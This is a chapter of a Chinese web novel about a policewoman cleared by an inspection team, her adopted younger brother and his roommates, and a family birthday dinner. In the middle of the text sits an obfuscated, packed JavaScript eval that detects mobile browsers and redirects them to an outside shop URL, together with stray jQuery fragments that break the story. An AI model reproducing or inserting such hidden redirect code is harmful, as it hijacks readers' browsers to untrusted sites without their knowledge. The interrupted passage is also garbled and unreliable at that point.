“这个呀,同志们都叫它:提神神器!当警察的,熬夜蹲点是常事。局里的小伙子们……个个家里负担都不小,困起来的时候,总用烟顶着挑费太大。后来呀,还是厉枭姑娘告诉了我一个好着数——用剩米饭擀成皮,下油锅炸,蘸上孜然、黑芝麻,多多的辣椒面,吃一口又香又辣,提神过瘾!现在呀,他们时不常地就来食堂要一包提神神器,说出任务时带着。我们呢,也时不常地就炸些预备着,总比抽烟嚼槟榔的强,那玩意儿贵呀,一包烟最少都得十几块钱,您说是不是?” 蒋方明用筷子夹起一根尝尝,赶紧喝了以大口水,龇牙咧嘴道,“这么辣!” 何生保也吃了一口,点头笑道,“味儿不错,我老家在江西萍乡,全国有名的辣都,我能吃辣。这味儿过瘾!”又问食堂大姐,“这是武厉枭同志的原创?” “听厉枭说,是她弟弟琢磨出来的。” “她弟弟?” 蒋方明附耳小声道,“剽窃案那个男孩子,十九岁,山大的学生,武厉枭的养弟。” 何生保若有所思地点点头,焉杰连忙倒茶陪笑道,“领导,您别见怪!最近市里号召创建文明城,提倡无烟办公。但局里……您知道,加班加点是常事……所以大家伙自发想出来这么个好主意,用剩米饭做辣条,又节约又提神。” “老焉,这我得批评你了。我刚才就说过,一线的同志吃什么,我们就吃什么。既然他们吃这提神神器,我们也要吃。这么好的东西,应该早端上来。来,咱们大家伙都尝尝,是我老家的味儿,地道!正宗!” 工作组的人一人夹了一条,慢条斯理地品尝着,交口赞道,“味儿不错……” “何组,我们走的时候,要点儿回去,等熬夜写材料时,也咬上一口,不算违反纪律吧?” “想什么呢?还要!花钱买!不能给一线同志增加负担……” 饭快吃完时,萧海拿着材料急匆匆地跑过来,满头满脸全是灰和土。焉杰奇道,“这么会儿工夫你出去抓毒贩了?造成这样。” “这不是局里办公室不够用,这几天刚给领导们挪出一间办公室来了。我刚才取材料的时候顺便检查一下空调,发现空调不制冷,我就自己把过滤网拆下来了,清清灰。没想到啊,门锁也不大好使了,差点把我锁里面,我又修了下门锁,这才紧赶慢赶刚过来……” 接下来的几天工作组感受到的就是——这几天接受的敬礼比过去几十年都多。市局从局长到一线干警,只要见到他们就敬礼,“领导好。”无论是食堂还是厕所,照敬不误。但是每个人都行色匆匆,忙得脚不沾地,上厕所都是一溜小跑。个个满眼红丝眼眶子发青还举着电话哑着嗓子叫,“无论如何,一定保证人质的安全,我马上赶到……” 何生保准备好的烟是一根没递出去。想跟谁寒暄两句都是:“领导,实在不好意思,我刚接到线人电话,让我马上赶过去,再晚一会儿非出人命不可。等我回来第一时间找您汇报工作啊……” “领导,群众举报,市一中那里有那边两伙社会青年带着家伙事要火拼,我得赶紧出警了……” “领导,绑架案那边绑匪又来电话了,我得赶紧到案发现场……” “领导,我们的特勤同志有生命危险,两伙毒贩手里都有重型枪械,我得赶紧过去……” 食堂吃饭时,工作组的人满面春风地端着餐盘找一线干警们寒暄,“小伙子,菜色还满意吗?” 那边一个立正敬礼,神情肃穆道,“挺好的,谢谢领导关心!” 何生保尴尬地咳嗽一声,“坐坐,别紧张,随便聊聊。一队队长武厉枭,那个人怎么样?” “报告领导,我跟武队不是一个队的,她的事我不了解。您要是想知道的话,可以问政治处,领导再见。” 工作组在碰了几次钉子后,只好找韩厉要求指派几个人面谈。韩厉一口答应了,“好,我安排几个队长跟您面谈吧,他们是局里的老人,对局里的情况都很了解。” “那感情好,麻烦你现在就叫他们过来。”何生保心里有点起急,“我们也想尽快完成工作,回省厅复命。” “那……”韩厉为难道,“您想找他们面谈,能不能提前三天约时间?” “什么?”何生保捏捏耳朵,确定没听错才道,“我们见市局一个队长,还得预约?” “是,韩厉苦笑道,“人手不够,案子太多。就说那几个队长,每个人手头上都最起码三个大案子,不是抢劫就是杀人案……我也没办法……” 市局所有人都替武厉枭捏着一把汗,她却全然不在意,该干什么干什么。她自己积极配合调查,把每项工资记录,每笔花销,还有她“自费上班”贴补给队员的双份餐补车补一一摊在明面上给调查组看。不但如此,整个市局就她一个人出来进去地还大大咧咧地跟那些督察们地打招呼,“老蒋,忙着呢,辛苦啦……” “老沈,吃了吗,越来越帅啦……” “老韩,我们队里吃下午茶呢,别忙活了,过来一起吃个蛋挞……放心,不是我买的,三有花的钱……” “老杨,大刚买的蜜雪冰城柠檬水,他也给你带了一份,接着……”” “老朱,你昨天熬夜加班了?黑眼圈都出来了?太辛苦了!能不能给我正名,就靠你啦……”然后塞一块枣花酥给他,“尝尝,我爷爷刚烤好的。你来得早先给你,要不我那些干儿子们来,一会儿就抢光了……” “老许,还审核数据呢?今天食堂有红烧肉,晚了就吃不着啦……” 中午吃完饭休息时,武厉枭带着羽毛球拍去敲督察办公室的门,“老何,出来打一局呀……天天坐着吹空调湿气重,肚子会越来越大,到时候我嫂子非嫌弃你不可……” 何生保无奈地指着她又咬牙又笑,“这姑娘……心大得没血没泪的……”他给出的调查结果是:举报不实,武厉枭同志无任何违法乱纪行为。 工作组走的那天,何生保对武厉枭说:“小丫头,好好干,对得起这身警服!” 武厉枭敬了个礼,“谢谢领导!” 苏晏清经过了三个月的心理治疗返校后,李光明和刘国君请他到外面猛吃了一顿自助餐。“清哥,今天这顿你随便吃,我俩请你。” “对啊晏清,为父最近可是办了一件大事,”刘国君自豪道,“为父要上大荧幕啦!” “什么?” “没错啊清哥,”李光明兴奋不已,“你最近没回学校都不知道,有个剧组在横香影视城那里要拍一个爱国主义题材的电影,讲的是五四爱国运动的。五四本来就是大学生发起的,就招募大学生去当群演。我俩……这不就去了吗!” “那你俩演什么?演游行的学生?” “没有,导演说我俩形象不够正派,让我俩演殴打学生的宪兵。” “啊?”苏晏清震惊道,“你俩……演反派?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849748|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 刘国君满不在乎道,“对呀,反派好呀!你想啊,演学生我俩得挨揍,演反派我俩打别人。而且一人一天一百块钱,还管两顿盒饭,顿顿有鸡腿。拍完一个月,还给加学分,多好呀!” “清哥你不知道我俩为演戏付出多大,本来我俩都焗了栗子黄的,为了能演戏又焗黑了……” 其实刘国君隐瞒的真相是让他和李光明演爱国学生,他俩总是不入戏。别人能义愤填膺一脸正气地喊口号示威,就他俩总在队伍中嬉皮笑脸。有军警殴打学生的戏,别人都能配合借位假摔,就他俩一口一个“我操”。导演看他俩实在朽木不可雕,索性让他俩歪戴个帽子穿上制服演宪兵。可没想到这俩货不以为耻反以为荣,已经在剧组耀武扬威地装了一个月“老总”、“太君”了。 苏晏清吃东西以清淡落胃为主,即便是吃红烧肉之类的荤腻之物,武厉枭也要嘱咐黄奶奶也要炖足一个半小时,炖出了肉酸,入口即化再给他吃。对烧烤之物更是敬谢不敏。故而他吃了一些白粥和点心,勉强吃了一点清蒸鱼,喝了几杯滚热的姜茶,便不再动筷了。李光明和刘国君则是牛排、生鱼片、炸鸡、烤肠一盘接一盘地拿,直到桌子上盘子堆成了小山,撑得直松裤腰带,才扶着肚子道,“不行了不行了,撑冒漾了,再吃一口就爆炸了……” 苏晏清扶额叹道,“你俩呀,东西是别人的,肚子可是自己的,这么吃胃会坏的。” “清哥你不知道,吃自助餐的最高境界是扶着墙进去扶着墙出来。”李光明打着嗝道,“君儿,吃饱了活动活动吧,看电影怎么样?” “看啥电影啊,宿舍里就有电脑,在宿舍看也一样。” “那不一样,听说最近刚上一部恐怖片,叫《女生宿舍之702杀人案》,据说是香艳、迷情、悬疑、惊悚多风格的,怎么样,看不?” 刘国君一听“香艳”二字眼睛就亮了,看了一眼苏晏清,“晏清,一起去见识见识吧?” 苏晏清摇摇头,“我可不敢看那个。”其实他连鬼屋都住过的人根本就不害怕恐怖片,但他怕武厉枭知道会不高兴,因为姐姐说过:“小朋友不可以看那些吓人的东西,看了睡觉会做噩梦,休息不好。” 李光明道,“清哥身体不好,是看不了这些东西,君儿你这体格子,壮实得像头牦牛似的,平时不是一贯以法学院第一猛男自居吗?你不会不敢吧?” “靠!”刘国君果然扛不住激,“谁不敢呀!去就去,光明我儿,你记住,为父不光是法学院第一猛男,还是法学院第一猛肾。小小恐怖片,拿捏!” 晚上十一点钟,苏晏清朦胧间刚要入睡时,就被一阵噼哩噗噜的洗漱声吵醒了。他拉开床帐探出头来,李光明和刘国君跟看着鬼似的抱在一起大叫,“啊……鬼呀……” 苏晏清吓了一激灵,跳下床来,摸了摸他俩的额头,“你俩怎么了?” 二人却脸色青红,双双倒在地上抱着苏晏清的腿开始哀嚎,“清哥……太吓人了……” 李光明怪叫道,“女生宿舍……床帐子里……躺的是尸体……” 刘国君哆哆嗦嗦地补充道,“那尸体……半夜……跑到阳台上倒吊着……” “女生宿舍里有个变态……有咪咪和鸡鸡……” “女生宿舍里有个老太太……她是那女生她妈……” “女生宿舍走廊里有个拖把……拖把头是女生的脑袋……拖一地血和脑浆子……” 苏晏清听明白了,拉起他俩安慰道,“那是假的呀,有什么怕的!这样,你俩到我柜子里拿几块玫瑰酥,再泡杯奶粉喝,吃完了洗个热水澡,就没事了。”他剥了两颗酒心巧克力塞到他俩的嘴里,“吃点甜的能缓解焦虑。” “不行啊清哥,我不敢一个人去卫生间。”李光明哭着脸一副要哭出来的表情,“电影里,那水龙头里流出来的都是血……” “对对对,晏清,那女生宿舍里住的都是学化学的,她们会分尸……分完尸后还会溶骨,然后除掉血迹……妈呀,她们杀完人,卫生间的墙干干净净的,警察用那什么紫色的灯都照不出来……” 苏晏清哭笑不得道,“那……你俩一起洗?” “不行!”二人异口同声道,“我看他吓人!” 李光明指着刘国君道,“刚才看电影时,这逼人掐了我一把,妈呀,我以为女鬼出来掐我了。” 刘国君瞪着李光明道,“你更变态,刚才还往我怀里钻,我以为你是那个有鸡鸡又有咪咪的……他……他差点跟我嘴对嘴,来个法式舌吻……” “清哥你是不知道这个逼人多可恶,我跟他说带几瓶啤酒去,酒壮怂人胆,也不至于害怕,他非不干!” “能怪我吗!晏清你是不知道这损兽就是个大酒懵子,见到酒没命,咵咵咵往那个肠子里炫!那天晚上你不在宿舍,这逼喝酒把自己喝得拉脱肛了……” 苏晏清没办法了,“要不……你俩干脆不洗澡了?” “那……多臭呀……” 苏晏清想了想,只得脖子上解下武厉枭给他戴上的长命锁,戴在李光明脖子上,“这是我姐从小戴到大的。我姐你们知道,是英雄,一身正气,有她的正气护持,保证什么妖魔鬼怪都近不了你们的身。光明你先洗,洗完给国君戴。” 二人果然老老实实地洗完了澡,把长命锁还给了苏晏清,“别说啊,戴上了这长命锁真神了,一点儿也不害怕了。” “就是,有咱姐的凛然正气在,比拜多少佛都好使。” 李光明躺在床上翻来覆去地睡不着,又嬉皮笑脸道,“君儿,其实刚才的电影除了吓人外,那几个女生的颜值还是不错的,是吧?” “对了,”刘国君翻了个身道,“你看那个宿舍的老大,妈呀,胸那么大,e罩杯的吧!” “嘿嘿,老二的腿又细又长,跟那个中文学院的院花似的,就是给清哥写诗的那个。” “老三特别像外语学院的院花,就是邀请晏清爱子去舞会的那个。” “老四最特别,纯欲范儿的,看着清纯温柔,骚全在眼神里,有点像体育课上给清哥送奶茶的那个……对了,清哥,你说这些女生,哪个最爱你?” “没有人爱我。” “怎么会呢?我觉得她们对你老痴迷了!” “她们只是一时迷恋罢了。” “那你这么帅,从小到大,一定遇到过不少喜欢你,爱你的女生吧?” “遇到过……” “谁呀?” 苏晏清不作声了。 刘国君打趣道,“明儿呀,你看晏清爱子颜值高吧?其实为父我高中的时候,老毕了当时!真的,我都不好意思提!高中时的刘国君,风流倜傥玉树临风,身边跟的全是狂风浪蝶。这两年吧,就是跟你这个牲口胡吃海塞的,颜值有些下降,我要是像晏清这么自律,也不至于会有今天。” “操!你说你爹我影响你的颜值,我还说你这个逆子影响了我呢!哥读高中时那颜值,真的,一记三分篮,人称:球场白敬亭。” “还特么球场白敬亭,今天早上你还吃了十根油条呢!” “那你一喝皮蛋瘦肉粥恨不得捧着锅喝,你咋不说呢……”刘国君突然一骨碌爬起来,“妈呀!我饿了,怎么突然突然想吃披萨呢?二位爱子,你俩吃不吃? “吃啊!”李光明也来了精神,“我想吃榴莲味儿的!” 苏晏清无语道,“你俩……晚上不是吃了挺多吗?” “哎呀,那点儿哪够呀!吓一下子把我血糖都吓低了,必须吃点补补!君儿,点个十六寸的榴莲芝士披萨,要不不够吃啊……” 半个小时后,披萨到了,宿舍里弥漫着浓郁熏人的榴莲味儿,“清哥,下来吃点吧,又香又臭的,真特么过瘾……” “就是啊清哥,多好吃啊……你可是我们父子俩的救命恩人啊……” “靠!咱俩谁是爹呀?” “披萨我买的,我可是你义父。我儿,你拍着良心说说,这个世界谁能像为父这样,这么暴烈地爱着你……” 苏晏清躲在床帐后,把长命锁放到嘴边轻轻一吻,“姐姐,你是我的光。别人只喜欢我的容貌,唯有你,爱我的伤痛。” 督察工作组的调查结果下达到市局:举报不实,武厉枭同志无任何违法违纪行为。正相反,她秉公执法,待人以诚,对工作有高度责任心和集体荣誉感,深受领导信任,同志拥护。 赵淮晋望着手机上的这则内部通报发呆,母亲李红芳拍了拍他,“小晋,枭枭的调查结果出来了,总算有惊无险。你要不要请她吃个饭,叙叙旧,也算是给她压惊。” “我不去。”赵淮晋摇摇头,“上次我俩吵了一架,她说情意到此为止。” “傻话!你俩认识快十年了,哪能说断就断!你给她买个礼物,认个错,事情不结束了?” “我错?我有什么错!”赵淮晋不服气道,“我都是为她好!她那个弟弟……小白脸子拆白党一个,一看就不是好东西!” “你管她弟弟好不好呢?重要的是你和枭枭的关系呀!”李红芳苦口婆心道,“枭枭多好的姑娘呀!要不是你小子大学时犯浑,妈早抱上孙子啦!” “哎呦妈!”赵淮晋懊恼道,“你能不能不提大学时,那个时候多少眼睛看着我,我要是真跟她处对象了,成了武家的准女婿。那我还没工作,就得背上吃软饭靠岳家的名声,往后谁还瞧得起我呀?” “那你现在就有人瞧得起你啦!”李红芳冷冷道,“你这孩子就是死要面子活受罪,有花堪折直须折不知道折,结果呢,人家一句哥,一个干妈,把你钉得死死的。你那个时候觉得枭枭条件太好,怕自己高攀。那不如枭枭的姑娘呢,你倒是给我往家领啊!隔壁朱阿姨介绍的那个小护士,不是挺漂亮的吗?” “那个脾气不好,又爱慕虚荣,第一次见面就让我送她金项链。” “你三姨给你介绍的小秦姑娘,妇幼保健院的产科麻醉师,也挺不错的呀!听说她爸爸还在省厅上班。” “那个性子特别傲,第一次见面迟到了半个小时,还说什么:女生要化妆,男生等女生应该的。” “你大娘介绍的小许姑娘,市散打队的陪练……” “妈你可别提了!那个脾气那叫一个大,上次我请她吃小龙虾,跟隔壁桌的一言不合就拎着酒瓶子要给人家开瓢……” “这不行那不行的,那你倒是找个行的呀!”李红芳不耐烦道,“你说说你啊,你要是丑、笨、呆,我也就认命了。偏偏你从小到大又精神又聪明又会说,咋还弄不着一个媳妇呢?你到底想要啥样的?” “不知道。”赵淮晋瓮声瓮气道,“妈,这事你别管了。这年头结婚干啥,打光棍挺好的。结了还得离!” 李红芳看出了儿子的心思,“枭枭从不虚荣要这要那,枭枭从不化妆化得跟鬼似的,枭枭从不迟到,枭枭脾气好,从没有富家独生女的架子。” “但是枭枭对我没有感情了。她现在……”赵淮晋一咬牙,“眼里只有她弟!” “她弟?就是那个她从地缝里救出来的男孩?”李红芳拍拍他肩膀笑道,“小晋,那不过是个小孩子,你一个刑警队长,还怕了他不成?” “问题是他住进了武家老宅,武家养着他,为了帮他打官司,出动了整个法务团!”赵淮晋越说越气,“妈你是不知道,那小子就是个小狐媚子,枭枭又从来没有谈过恋爱,新手村遇到顶级魅魔,还不犯迷糊?” “小晋,你忌惮谁,都不该忌惮那孩子。”李红芳正色道,“枭枭跟谁谈恋爱,都不可能跟她弟。” “为啥?” “为啥?就因为枭枭照顾过他,枭枭就不可能喜欢他。妈是女人,妈知道,女人能爱上跟自己年龄一般大的同学,但不可能喜欢自己照顾过的婴儿。你照顾过他,他在你眼里,就是儿子一样。谁会对儿子有男女之情?谁会对儿子的身体有想法?儿子长得再大,再帅,那也是那个到处拉到处尿的肉团子,改不了的!” 一番话说得赵淮晋茅塞顿开,“那……关键是我骂过她弟,枭枭跟我生气了。” “她跟你生气,又没跟我生气。这样,一个星期后是我生日,我给枭枭打电话,叫她来家里吃饭。到时候,我当着她的面骂你一顿,枭枭那么心软,肯定就不计较了。” 赵淮晋想了想,终于点头答应了,“老妈,在枭枭面前,你可得给我留点面子。” “放心吧!枭枭可是我最中意的儿媳妇。”李红芳一脸憧憬道,“你要是真跟枭枭能成了,妈这辈子最大的心事就了结了。” 李红芳生日那天,特意起了个大早,梳头洗脸换衣服,但让赵淮晋吃惊的是,素来爱美爱俏的老妈居然破天荒的只穿了一件最普通的半旧运动服,脸上更是一点脂粉也不施,素面朝天地和保姆一起开始准备饭食。 “妈,你好歹涂点粉底呀。” “不用不用,就是要素净点才好。” 快到中午时,武厉枭捧着鲜花和蛋糕来到赵家,一进屋就跟李红芳来了个大大的拥抱,“干妈,生日快乐!” 李红芳的眼睛马上红了,擦了擦眼角,哽咽道,“枭枭,你受苦了,让干妈瞧瞧……都瘦了……” 武厉枭奇怪地问,“干妈,你怎么了?” “枭枭,妈知道工作组有人调查你,好几天吃不下饭睡不着觉。”赵淮晋接过鲜花和蛋糕,“现在看到你没事,心里的石头才落地。” “哎呦您别担心了,我还给你带了一份礼物呢!”武厉枭话音刚落,门口出现了一个硕大的纸壳箱,抬箱子的不是别人,正是苏晏清。 “我买了一个按摩椅,坐上去能按摩肩颈腰背,特别舒服。我爷爷就用的是这款。”武厉枭动手拆起了箱子,“干妈,你等一下试试。” “枭枭不忙,”赵淮晋一把扶起她,还没等开口说话,苏晏清忙把武厉枭拉到身后,目光如炬地看着赵淮晋,“哥,老弟今天来,是跟你道歉的。”他从门口拿出一个硕大的杏粉色绣球花蓝,“上次在那个酒店门口,我说了一些什么录音录像的话,是我不对。这个花篮,是我的心意,还请你收下。” 赵淮晋有些发愣,还没反应过来,苏晏清又一脸和颜悦色道,“哥,那晚你喝了点酒,酒话不能当真。老弟知道,你是关心我姐,关心则乱。其实,我该谢谢你,对我姐这么上心。” 赵淮晋淡然一笑,“晏清,这段日子不见,你越发我见犹怜了。” 苏晏清又朝李红芳鞠了一躬,“阿姨,冒昧打扰,不成敬意,祝您生日快乐!我先告辞了。” 李红芳忙拦住他,“孩子,别着急走,既然来了,就留下吃饭。”她拉着苏晏清的手仔仔细细地端详一番,“哎呦,真俊呢!”又看了一眼赵淮晋,“叫什么名字,几岁了?” “晏清,苏晏清,十九岁了。” “哎呦,这么小啊!刚才搬这么重的东西累坏了吧?”李红芳从客厅的抽屉里拿出一个红包来,往里面塞了几张钞票,“头回见面,阿姨没啥表示的。这是我们老家的规矩,给孩子压祟。” 苏晏清忙推辞道,“阿姨我不能要……”武厉枭也阻拦道,“干妈,这不合适……” 李红芳笑着瞪她一眼,“别撕吧!不是给你的,是给这孩子的!”又摸了摸苏晏清的脸,“这小孩儿真好看,别演电影的人都好看!越看越让人稀罕!来,坐我旁边,喜欢吃啥,阿姨给你夹。” 李红芳拉着苏晏清在她身边坐下,给他盛了一碗鸡汤,“这汤是用茶树菇煲的,你哥哥姐姐都爱喝,你尝尝。” 苏晏清尝了一口,赞道,“果然好喝。” “好喝就多喝一些。”李红芳又夹了个鸡腿给苏晏清,“你这孩子也太瘦了,是不是大学食堂里的饭菜不可口?” “没有没有,我就这样,干吃不胖的。” 武厉枭笑道,“干妈,他就是这个样子的。” “肯定是大学时功课紧张,太辛苦了。” “功课再紧张,也比不上我哥查案辛苦。”苏晏清夹了鸡腿放进赵淮晋碗里,“哥,你受累了,多吃些。” 李红芳眉开眼笑道,“瞧这孩子多懂事,小晋啊,你十九岁时可没这么懂事!”又使了个眼色过去,赵淮晋心领神会,忙站起来端起酒杯道,“枭枭,晏清,我年长一点,蒙你们看得起,叫我一声哥。哥呢,平时也有些不到之处,今天给你们道个歉,都在酒里了。” 赵淮晋喝光了酒,武厉枭倒了杯橙汁,举杯站起来道,“哥,咱们是多年好友,你对我的好,妹妹永生不忘。一家人打断骨头连着筋,没有什么到不到的。” 苏晏清也倒了杯饮料,站起来道,“哥,你对我姐的好,老弟感激你。从今以后,我要向你学习,做个刚强、伟岸的男子汉,好好照顾姐姐,孝敬爷爷……” 话音刚落,武厉枭的电话响起,“喂……是……我马上回去!”她站起身边往外走边说:“干妈,我那边有急事,我要马上过去。” “姐姐我送你。”苏晏清也追了出去,“阿姨,淮晋哥,感谢你们的招待,打扰了。” 二人消失在楼梯口出,李红芳愣愣道,“怎么今天我想说的话,一句都没说成呢?” 原来武厉枭说的急事不是案子,是已经退休的老局长女儿分娩。 武厉枭赶过去时,老局长正紧张不已地翘首以待。“局长,琪琪进去多长时间了?” “半个小时了。” “顺产还是剖腹产?” “顺产。” “您放心,琪琪身体好,又年轻,一定会没事的。” 老局长叹息道,“琪琪妈走得早,女婿出任务赶不回来,我一个当爸的不方便……厉枭,麻烦你了……” “局里本来女生就少,我又是您看着长大的,琪琪生孩子,我理所当然帮忙。” “你自己也是个姑娘家啊。” “但是我带过孩子。”她拉过苏晏清,“您看,这个就是我带大的,带得多好。” 苏晏清赶紧过来问好,“局长,您也辛苦了,我去买瓶水给您。” 苏晏清提着水回来时,琪琪已经从产房回到了病房,局长拉着女儿的手老泪纵横,武厉枭抱着婴儿“哦哦哦”地逗着,满眼的温柔喜悦,不住地夸奖着,“真可爱,真漂亮……琪琪好福气……这么多年了,我终于有机会又抱到一个白玉糯米团团了……” 苏晏清手里的矿泉水几乎惊落到地上,琪琪撑着疲惫的笑容道,“厉枭姐,你这么喜欢宝宝,什么时候自己也生一个吧……” “我……”武厉枭脸上露出了奇怪的笑容,喉头一阵干涩,“我……”她拿出一个厚厚红包,放到琪琪枕畔,“我还给你网购了一些宝宝的衣服和纸尿裤什么的,差不多明天就会到,我明天再给你送过来。” 武厉枭在电梯里一个劲地说:“宝宝你注意到了吗?琪琪的宝宝好可爱,小手手好软……那小脚丫,摸一下滑滑嫩嫩的,哎呀,跟你小时候一样可爱……他还戴着兔耳朵小帽子,那柠檬黄的小衣服……不行了不行了,怎么会有这么可爱的衣服……为什么你小时候没有……要是有的话我一定买给你穿上,多拍几张照片……” 武厉枭走出妇幼保健院大门,路过母婴用品商店时,又忍不住兴奋地拉着苏晏清进去看。“瞧瞧,这小衣服多可爱……像云朵似的……这个小裤子……比棉花糖还软……” 导购员满脸笑容地迎上来,“请问二位要买点什么?” “我们随便看看,看看要给新生儿准备哪些东西。” “二位是在备孕吗?请问宝宝几月份出生?预产期是哪天?”导购员热心道,又看了看苏晏清,“宝爸看起来很年轻啊,第一次当爸爸,一定很紧张吧。您看要不要加我们店的企业微信,我们有定期的关于宝爸产后照顾和育儿的培训课程,非常实用,满满的干货。您要不要了解一下。” 苏晏清脸红得几乎要滴出血来,武厉枭几乎按捺不住笑意,“不好意思,我们再看看……”拉着窘到极致的少年迅速逃离。后面的几个导购女生还在兴奋地窃窃私语:“头一次见到这么年轻这么帅的宝爸……” “又高又白……” “好想加他微信……” “可惜名草有主了……” “那个宝妈真幸福……上辈子拯救银河系了吧……” “宝爸这么颜值这么高,生的宝宝一定也好看……” “哈哈哈……,”武厉枭笑得眉眼弯弯,“那个导购问你是不是宝爸……哈哈哈……我差点想说……他自己还是宝宝呢……哈哈哈,我现在一闭眼睛,还能看到你小时候吃手手吃脚脚的样子,举着奶瓶说:姐姐,泡neinei……哈哈哈哈……” “姐姐……”苏晏清羞涩地低声叫道,“我……” “好好好,我不笑了,不过……我倒是忘了,我家宝宝再过段日子,的确可以当宝爸了……”